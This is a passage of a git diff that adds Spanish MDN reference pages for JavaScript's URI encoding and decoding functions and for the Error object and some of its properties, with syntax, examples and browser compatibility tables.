+ <dt><code>encodedURI</code></dt>
+ <dd>Un completo, Identificador de Recurso Uniforme.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Sustituye a cada secuencia de escape codificado en URI con el carácter que representa.</p>
+
+<p>No decodifica secuencias de escape que no se puedan haber introducido por {{jsxref("encodeURI")}}.</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref( "encodeURIComponent")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/decodeuricomponent/index.html b/files/es/web/javascript/referencia/objetos_globales/decodeuricomponent/index.html
new file mode 100644
index 0000000000..05d9bd4b52
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/decodeuricomponent/index.html
@@ -0,0 +1,42 @@
+---
+title: decodeURIComponent
+slug: Web/JavaScript/Referencia/Objetos_globales/decodeURIComponent
+tags:
+  - JavaScript
+  - JavaScript Reference
+  - URI
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>Decodifica un Identificador de Recurso Uniforme (Uniform Resource Identifier, URI) previamente creado por {{jsxref("encodeURIComponent")}} o por una rutina similar.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p><code>decodeURIComponent(<em>encodedURI</em>) </code></p>
+
+<h2 id="Parameters" name="Parameters">Parámetros</h2>
+
+<dl>
+ <dt><code>encodedURI</code></dt>
+ <dd>Un Identificador de Recurso Uniforme codificado.</dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="Return value" name="Return value">Valor retornado</h2>
+
+<p>Retorna una nueva cadena representando la version decodificada del componente URI dado</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Sustituye a cada secuencia de escape codificado en URI con el carácter que representa.</p>
+
+<h2 id="See_Also" name="See_Also">Ver También</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/encodeuri/index.html b/files/es/web/javascript/referencia/objetos_globales/encodeuri/index.html
new file mode 100644
index 0000000000..51277231e0
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/encodeuri/index.html
@@ -0,0 +1,61 @@
+---
+title: encodeURI
+slug: Web/JavaScript/Referencia/Objetos_globales/encodeURI
+tags:
+  - JavaScript
+  - URI
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>Codifica un Identificador de Recurso Uniforme (Uniform Resource Identifier, URI) reemplazando cada instancia de ciertos carácteres por uno, dos o tres secuencias de escape representando el carácter codificado en UTF-8.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<p><code>encodeURI(<em>URI</em>) </code></p>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>URI</code></dt>
+ <dd>Un Identificador de Recurso Uniforme codificado.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Se asume que el URI es un URI completo, a fin de no codificar caracteres reservados que tienen un significado especial en la URI.</p>
+
+<p><code>encodeURI </code>reemplaza todos los caracteres excepto los siguientes con las secuencias de escape UTF-8:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Tipo</td>
+   <td class="header">Incluye</td>
+  </tr>
+  <tr>
+   <td>Caracteres reservados</td>
+   <td><code>; , / ? : @ &amp; = + $</code></td>
+  </tr>
+  <tr>
+   <td>Caracteres No escape</td>
+   <td>Alfabéticos, dígitos decimales, <code>- _ . ! ~ * ' ( )</code></td>
+  </tr>
+  <tr>
+   <td>Almohadilla</td>
+   <td><code>#</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Tenga en cuenta que encodeURI por sí sola no puede formar solicitudes correctas HTTP GET y POST, como por XMLHTTPRequests, porque "&amp;", "+", y "=" no están codificados, los cuales son tratados como caracteres especiales en las solicitudes GET y POST. <code><a href="/es/Core_JavaScript_1.5_Reference/Global_Functions/encodeURIComponent" title="es/Core_JavaScript_1.5_Reference/Global_Functions/encodeURIComponent">encodeURIComponent</a></code>, sin embargo, codifica estos caracteres. Lo más probable es que estos comportamientos no sean compatibles en los navegadores Web.</p>
+
+<h2 id="See_also" name="See_also">Ver También</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/encodeuricomponent/index.html b/files/es/web/javascript/referencia/objetos_globales/encodeuricomponent/index.html
new file mode 100644
index 0000000000..53af149970
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/encodeuricomponent/index.html
@@ -0,0 +1,161 @@
+---
+title: encodeURIComponent
+slug: Web/JavaScript/Referencia/Objetos_globales/encodeURIComponent
+tags:
+  - JavaScript
+  - URI
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El método <strong>encodeURIComponent()</strong> codifica un componente URI (Identificador Uniforme de Recursos) al reemplazar cada instancia de ciertos caracteres por una, dos, tres o cuatro secuencias de escape que representan la codificación UTF-8 del carácter (solo serán cuatro secuencias de escape para caracteres compuestos por dos carácteres "sustitutos").</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">encodeURIComponent(str);</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Cadena. Un componente de un URI.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p><code>encodeURIComponent</code> escapes all characters except the following: alphabetic, decimal digits, <code>- _ . ! ~ * ' ( )</code></p>
+
+<p>Note that an {{jsxref("Objetos_globales/URIError", "URIError")}} will be thrown if one attempts to encode a surrogate which is not part of a high-low pair, e.g.,</p>
+
+<pre class="brush: js">// high-low pair ok
+alert(encodeURIComponent('\uD800\uDFFF'));
+
+// lone high surrogate throws "URIError: malformed URI sequence"
+alert(encodeURIComponent('\uD800'));
+
+// lone low surrogate throws "URIError: malformed URI sequence"
+alert(encodeURIComponent('\uDFFF'));
+</pre>
+
+<p>To avoid unexpected requests to the server, you should call <code>encodeURIComponent</code> on any user-entered parameters that will be passed as part of a URI. For example, a user could type "<code>Thyme &amp;time=again</code>" for a variable <code>comment</code>. Not using <code>encodeURIComponent</code> on this variable will give <code>comment=Thyme%20&amp;time=again</code>. Note that the ampersand and the equal sign mark a new key and value pair. So instead of having a POST <code>comment</code> key equal to "<code>Thyme &amp;time=again</code>", you have two POST keys, one equal to "<code>Thyme </code>" and another (<code>time</code>) equal to <code>again</code>.</p>
+
+<p>For <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#application/x-www-form-urlencoded-encoding-algorithm"><code>application/x-www-form-urlencoded</code></a> (POST), spaces are to be replaced by '+', so one may wish to follow a <code>encodeURIComponent</code> replacement with an additional replacement of "%20" with "+".</p>
+
+<p>To be more stringent in adhering to <a class="external" href="http://tools.ietf.org/html/rfc3986">RFC 3986</a> (which reserves !, ', (, ), and *), even though these characters have no formalized URI delimiting uses, the following can be safely used:</p>
+
+<pre class="brush: js">function fixedEncodeURIComponent (str) {
+  return encodeURIComponent(str).replace(/[!'()]/g, escape).replace(/\*/g, "%2A");
+}
+</pre>
+
+<h2 id="See_also" name="See_also">Examples</h2>
+
+<p>The following example provides the special encoding required within UTF-8 <code>Content-Disposition</code> and <code>Link</code> server response header parameters (e.g., UTF-8 filenames):</p>
+
+<pre class="brush: js">var fileName = 'my file(2).txt';
+var header = "Content-Disposition: attachment; filename*=UTF-8''" + encodeRFC5987ValueChars(fileName);
+
+console.log(header);
+// logs "Content-Disposition: attachment; filename*=UTF-8''my%20file%282%29.txt"
+
+
+function encodeRFC5987ValueChars (str) {
+    return encodeURIComponent(str).
+        // Note that although RFC3986 reserves "!", RFC5987 does not,
+        // so we do not need to escape it
+        replace(/['()]/g, escape). // i.e., %27 %28 %29
+        replace(/\*/g, '%2A').
+            // The following are not required for percent-encoding per RFC5987,
+            //  so we can allow for a little better readability over the wire: |`^
+            replace(/%(?:7C|60|5E)/g, unescape);
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3rd Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.4', 'encodeURIComponent')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">See also</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/error/constructor_error/index.html b/files/es/web/javascript/referencia/objetos_globales/error/constructor_error/index.html
new file mode 100644
index 0000000000..114831c512
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/error/constructor_error/index.html
@@ -0,0 +1,69 @@
+---
+title: Constructor Error()
+slug: Web/JavaScript/Referencia/Objetos_globales/Error/constructor_Error
+tags:
+  - Constructor
+  - JavaScript
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/Error
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">El constructor <strong><code>Error</code></strong> crea un objeto <code>Error</code>.</span></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">new Error([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>message</var></code>{{Optional_Inline}}</dt>
+ <dd>Una descripción del error legible para los humanos.</dd>
+ <dt><code><var>fileName</var></code> {{Optional_Inline}}{{Non-standard_inline}}</dt>
+ <dd>El valor de la propiedad <code><var>fileName</var></code> en el objeto <code>Error</code> creado. De manera predeterminada, el nombre del archivo que contiene el código que llamó al constructor <code>Error()</code>.</dd>
+ <dt><code><var>lineNumber</var></code> {{Optional_Inline}}{{Non-standard_inline}}</dt>
+ <dd>El valor de la propiedad <code><var>lineNumber</var></code> en el objeto <code>Error</code> creado. De manera predeterminada, el número de línea que contiene la invocación del constructor <code>Error()</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Llamada_a_función_o_construcción_new">Llamada a función o construcción <code>new</code></h3>
+
+<p>Cuando se usa <code>Error</code> como una función, sin {{JSxRef("Operators/new", "new")}}, devolverá un objeto <code>Error</code>. Por lo tanto, una simple llamada a <code>Error</code> producirá el mismo resultado que la construcción de un objeto <code>Error</code> mediante la palabra clave <code>new</code>.</p>
+
+<pre class="brush: js; notranslate">// esto...
+const x = Error('¡Fui creado usando una llamada a función!')
+
+    // ...tiene la misma funcionalidad que esta.
+const y = new Error('¡Fui construido con la palabra clave "new"!') </pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error-constructor', 'Error constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.Error.Error")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("Sentencias/throw", "throw")}}</li>
+ <li>{{JSxRef("Sentencias/try...catch", "try...catch")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/error/filename/index.html b/files/es/web/javascript/referencia/objetos_globales/error/filename/index.html
new file mode 100644
index 0000000000..8e633934e0
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/error/filename/index.html
@@ -0,0 +1,48 @@
+---
+title: Error.prototype.fileName
+slug: Web/JavaScript/Referencia/Objetos_globales/Error/fileName
+tags:
+  - JavaScript
+  - No estandar
+  - Propiedad
+  - Prototipo
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/fileName
+---
+<div>{{jsRef}}  {{non-standard_header}}</div>
+
+<p>La propiedad <code><strong>fileName</strong></code> contiene la ruta al archivo que generó este error.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Esta propiedad no estándar contiene la ruta al archivo que generó este error. Si se llama desde un contexto de depuración, devuelve las herramientas de desarrollo de Firefox, por ejemplo, "código de evaluación del depurador".</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usar_fileName">Usar <code>fileName</code></h3>
+
+<pre class="brush: js notranslate">var e = new Error('No se pudo procesar la entrada');
+throw e;
+// e.fileName podría verse como "file:///C:/ejemplo.html"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><span class="pl-s">No forma parte de ningún estándar.</span></p>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.Error.fileName")}}</p>
+</div>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}}</li>
+ <li>{{jsxref("Error.prototype.columnNumber")}}</li>
+ <li>{{jsxref("Error.prototype.lineNumber")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/error/index.html b/files/es/web/javascript/referencia/objetos_globales/error/index.html
new file mode 100644
index 0000000000..03cbd038da
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/error/index.html
@@ -0,0 +1,219 @@
+---
+title: Error
+slug: Web/JavaScript/Referencia/Objetos_globales/Error
+tags:
+  - Error
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Error
+---
+<div>{{JSRef}}</div>
+
+<p>Los objetos <code>Error</code> se lanzan cuando ocurren errores en tiempo de ejecución. También puedes utilizar el objeto <code>Error</code> como objeto base para excepciones definidas por el usuario. Ve más adelante los tipos de errores estándar integrados.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Los errores en tiempo de ejecución dan como resultado la creación y lanzamiento de nuevos objetos <code>Error</code>.</p>
+
+<h3 id="Tipos_Error">Tipos <code>Error</code></h3>
+
+<p>Además del constructor genérico <code>Error</code>, hay otros siete constructores de errores en el núcleo de JavaScript. Para conocer las excepciones de lado del cliente, consulta {{JSxRef("../Guide/Control_de_flujo_y_manejo_de_errores", "Declaraciones para el manejo de excepciones", "#Sentencias_de_manejo_de_excepciones", 1)}}.</p>
+
+<dl>
+ <dt>{{JSxRef("EvalError")}}</dt>
+ <dd>Crea una instancia que representa un error que ocurre con respecto a la función global {{JSxRef("eval", "eval()")}}.</dd>
+ <dt>{{JSxRef("InternalError")}} </dt>
+ <dd>Crea una instancia que representa un error que ocurre cuando se produce un error interno en el motor de JavaScript. Por ejemplo: "demasiada recursividad".</dd>
+ <dt>{{JSxRef("RangeError")}}</dt>
+ <dd>Crea una instancia que representa un error que ocurre cuando una variable numérica o parámetro está fuera de su rango válido.</dd>
+ <dt>{{JSxRef("ReferenceError")}}</dt>
+ <dd>Crea una instancia que representa un error que ocurre cuando se quita la referencia a una referencia no válida.</dd>
+ <dt>{{JSxRef("SyntaxError")}}</dt>
+ <dd>Crea una instancia que representa un error de sintaxis.</dd>
+ <dt>{{JSxRef("TypeError")}}</dt>
+ <dd>Crea una instancia que representa un error que ocurre cuando una variable o parámetro no es de un tipo válido.</dd>
+ <dt>{{JSxRef("URIError")}}</dt>
+ <dd>Crea una instancia que representa un error que ocurre cuando {{JSxRef("encodeURI", "encodeURI()")}} o {{JSxRef("decodeURI", "decodeURI()")}} pasan parámetros no válidos.</dd>
+</dl>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{JSxRef("Objetos_globales/Error/Error", "Error()")}}</dt>
+ <dd>Crea un nuevo objeto <code>Error</code>.</dd>
+</dl>
+
+<h2 id="Métodos_estáticos">Métodos estáticos</h2>
+
+<dl>
+ <dt>{{JSxRef("Error.captureStackTrace()")}}</dt>
+ <dd>Una función <strong>V8</strong> no estándar que crea la propiedad {{JSxRef("Error.prototype.stack", "stack")}} en una instancia de <code>Error</code>.</dd>
+</dl>
+
+<h2 id="Propiedades_de_la_instancia">Propiedades de la instancia</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.message")}}</dt>
+ <dd>Mensaje de error.</dd>
+ <dt>{{jsxref("Error.prototype.name")}}</dt>
+ <dd>Nombre del error.</dd>
+ <dt>{{jsxref("Error.prototype.description")}}</dt>
+ <dd>Una propiedad no estándar de Microsoft para la descripción del error. Similar a {{jsxref("Error.prototype.message", "message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.number")}}</dt>
+ <dd>Una propiedad no estándar de Microsoft para un número de error.</dd>
+ <dt>{{jsxref("Error.prototype.fileName")}}</dt>
+ <dd>Una propiedad no estándar de Mozilla para la ruta al archivo que generó este error.</dd>
+ <dt>{{JSxRef("Error.prototype.lineNumber")}}</dt>
+ <dd>Una propiedad no estándar de Mozilla para el número de línea en el archivo que generó este error.</dd>
+ <dt>{{JSxRef("Error.prototype.columnNumber")}}</dt>
+ <dd>Una propiedad no estándar de Mozilla para el número de columna en la línea que generó este error.</dd>
+ <dt>{{JSxRef("Error.prototype.stack")}}</dt>
+ <dd>Una propiedad no estándar de Mozilla para un seguimiento de la pila.</dd>
+</dl>
+
+<h2 id="Métodos_de_instancia">Métodos de instancia</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toString()")}}</dt>
+ <dd>Devuelve una cadena que representa el objeto especificado. Redefine el método {{JSxRef("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Lanzar_un_error_genérico">Lanzar un error genérico</h3>
+
+<p>Normalmente, creas un objeto <code>Error</code> con la intención de generarlo utilizando la palabra clave {{JSxRef("Sentencias/throw", "throw")}}. Puedes manejar el error usando la construcción {{JSxRef("Sentencias/try...catch", "try...catch")}}:</p>
+
+<pre class="brush: js; notranslate">try {
+  throw new Error('¡Ups!')
+} catch (e) {
+  console.error(e.name + ': ' + e.message)
+}
+</pre>
+
+<h3 id="Manejar_de_un_error_específico">Manejar de un error específico</h3>
+
+<p>Puede elegir manejar solo tipos de error específicos probando el tipo de error con la propiedad {{JSxRef("Object.prototype.constructor", "constructor")}} del error o, si estás escribiendo para motores JavaScript modernos, la palabra clave {{JSxRef("Operators/instanceof", "instanceof")}}:</p>
+
+<pre class="brush: js; notranslate">try {
+  foo.bar()
+} catch (e) {
+  if (e instanceof EvalError) {
+    console.error(e.name + ': ' + e.message)
+  } else if (e instanceof RangeError) {
+    console.error(e.name + ': ' + e.message)
+  }
+  // ... etc
+}
+</pre>
+
+<h3 id="Tipos_Error_personalizados">Tipos <code>Error</code> personalizados</h3>
+
+<p>Posiblemente desees definir tus propios tipos de error derivados de <code>Error</code> para poder lanzarlo con <code>throw new MyError()</code> y usar <code>instanceof MyError</code> para verificar el tipo de error en el controlador de excepciones.  Esto da como resultado un código de manejo de errores más limpio y consistente. </p>
+
+<p>Consulta <a href="http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript">"¿Cuál es una buena manera de extender <code>Error</code> en JavaScript?"</a> en StackOverflow para una discusión en profundidad.</p>
+
+<h4 id="Clase_Error_personalizado_en_ES6">Clase <code>Error</code> personalizado en ES6</h4>
+
+<div class="blockIndicator warning">
+<p>Las versiones de Babel anteriores a la 7 pueden manejar métodos de clase <code>CustomError</code>, pero solo cuando se declaran con {{JSxRef("Objetos_globales/Object/defineProperty", "Object.defineProperty()")}}. De lo contrario, las versiones antiguas de Babel y otros transpiladores no manejarán correctamente el siguiente código sin <a href="https://github.com/loganfsmyth/babel-plugin-transform-builtin-extend">configuración adicional</a>.</p>
+</div>
+
+<div class="blockIndicator note">
+<p>Algunos navegadores incluyen el constructor <code>CustomError</code> en el seguimiento de la pila cuando se utilizan clases de ES2015.</p>
+</div>
+
+<pre class="brush: js notranslate">class CustomError extends Error {
+  constructor(foo = 'bar', ...params) {
+    // Pasa los argumentos restantes (incluidos los específicos del proveedor) al constructor padre
+    super(...params)
+
+    // Mantiene un seguimiento adecuado de la pila para el lugar donde se lanzó nuestro error (solo disponible en V8)
+    if (Error.captureStackTrace) {
+      Error.captureStackTrace(this, CustomError)
+    }
+
+    this.name = 'CustomError'
+    // Información de depuración personalizada
+    this.foo = foo
+    this.date = new Date()
+  }
+}
+
+try {
+  throw new CustomError('baz', 'bazMessage')
+} catch(e) {
+  console.error(e.name)    // CustomError
+  console.error(e.foo)     // baz
+  console.error(e.message) // bazMessage
+  console.error(e.stack)   // stacktrace
+}</pre>
+
+<h4 id="Objeto_Error_personalizado_ES5">Objeto <code>Error</code> personalizado ES5</h4>
+
+<div class="warning">
+<p><strong>Todos</strong> los navegadores incluyen el constructor <code>CustomError</code> en el seguimiento de la pila cuando se usa una declaración de prototipo.</p>
+</div>
+
+<pre class="brush: js notranslate">function CustomError(foo, message, fileName, lineNumber) {
+  var instance = new Error(message, fileName, lineNumber);
+  instance.name = 'CustomError';
+  instance.foo = foo;
+  Object.setPrototypeOf(instance, Object.getPrototypeOf(this));
+  if (Error.captureStackTrace) {
+    Error.captureStackTrace(instance, CustomError);
+  }
+  return instance;
+}
+
+CustomError.prototype = Object.create(Error.prototype, {
+  constructor: {
+    value: Error,
+    enumerable: false,
+    writable: true,
+    configurable: true
+  }
+});
+
+if (Object.setPrototypeOf){
+  Object.setPrototypeOf(CustomError, Error);
+} else {
+  CustomError.__proto__ = Error;
+}
+
+try {
+  throw new CustomError('baz', 'bazMessage');
+} catch(e){
+  console.error(e.name); // CustomError
+  console.error(e.foo); // baz
+  console.error(e.message); // bazMessage
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.Error")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("Sentencias/throw", "throw")}}</li>
+ <li>{{JSxRef("Sentencias/try...catch", "try...catch")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/error/linenumber/index.html b/files/es/web/javascript/referencia/objetos_globales/error/linenumber/index.html
new file mode 100644
index 0000000000..0efec0696f
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/error/linenumber/index.html
@@ -0,0 +1,101 @@
+---
+title: Error.prototype.lineNumber
+slug: Web/JavaScript/Referencia/Objetos_globales/Error/lineNumber
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/lineNumber
+---
+<div>No es una norma<br>
+Esta característica no es una norma y no está en la lista de normas. No la utilice en sitios de producción que enfrenta la Web: no va a funcionar para todos los usuarios. También puede haber grandes incompatibilidades entre implementaciones y el comportamiento puede cambiar en el futuro.</div>
+
+<div> </div>
+
+<div>La propiedad <strong>lineNumber </strong>contiene el número de linea en el archivo que arrojó el error.</div>
+
+<div> </div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_lineNumber">Utilizando <code>lineNumber</code></h3>
+
+<pre class="brush: js">var e = new Error('No fue posible analizar el dato introducido');
+throw e;
+console.log(e.lineNumber) // 2
+</pre>
+
+<h3 id="Ejemplo_alternativo_utilizando_el_evento_'error'">Ejemplo alternativo utilizando el evento '<code>error'</code></h3>
+
+<pre class="brush: js">window.addEventListener('error', function(e) {
+  console.log(e.lineno); // 5
+});
+var e = new Error('No fue posible analizar el dato introducido');
+throw e;
+</pre>
+
+<p>Esta es una norma soportada por Chrome, Firefox entre otros.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No forma parte de ninguna especificación. No es una norma.</p>
+
+<h2 id="Navegadores_compatibles">Navegadores compatibles</h2>
+
+<div>
+<p> </p>
+
+<p>Tabla de compatibilidad</p>
+
+<table class="compat-table" style="line-height: 1.5;">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>Compatible [1]</td>
+   <td>Compatible</td>
+   <td>No compatible</td>
+   <td>No compatible</td>
+   <td>No compatible</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> [1] Objeto error en errores manejados.</p>
+
+<table class="compat-table" style="line-height: 1.5;">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chorme para Android</th>
+   <th>Firefox Móvil (Gecko)</th>
+   <th>IE Móvil</th>
+   <th>Opera Móvil</th>
+   <th>Safari Móvil</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>No compatible</td>
+   <td>No compatible</td>
+   <td>Compatible</td>
+   <td>No compatible</td>
+   <td>No compatible</td>
+   <td>No compatible</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Vea_también">Vea también:</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.columnNumber")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/error/message/index.html b/files/es/web/javascript/referencia/objetos_globales/error/message/index.html
new file mode 100644
index 0000000000..3f14983d6e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/error/message/index.html
@@ -0,0 +1,114 @@
+---
+title: Error.prototype.message
+slug: Web/JavaScript/Referencia/Objetos_globales/Error/message
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/message
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>message</strong></code> es una descripción legible del error.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
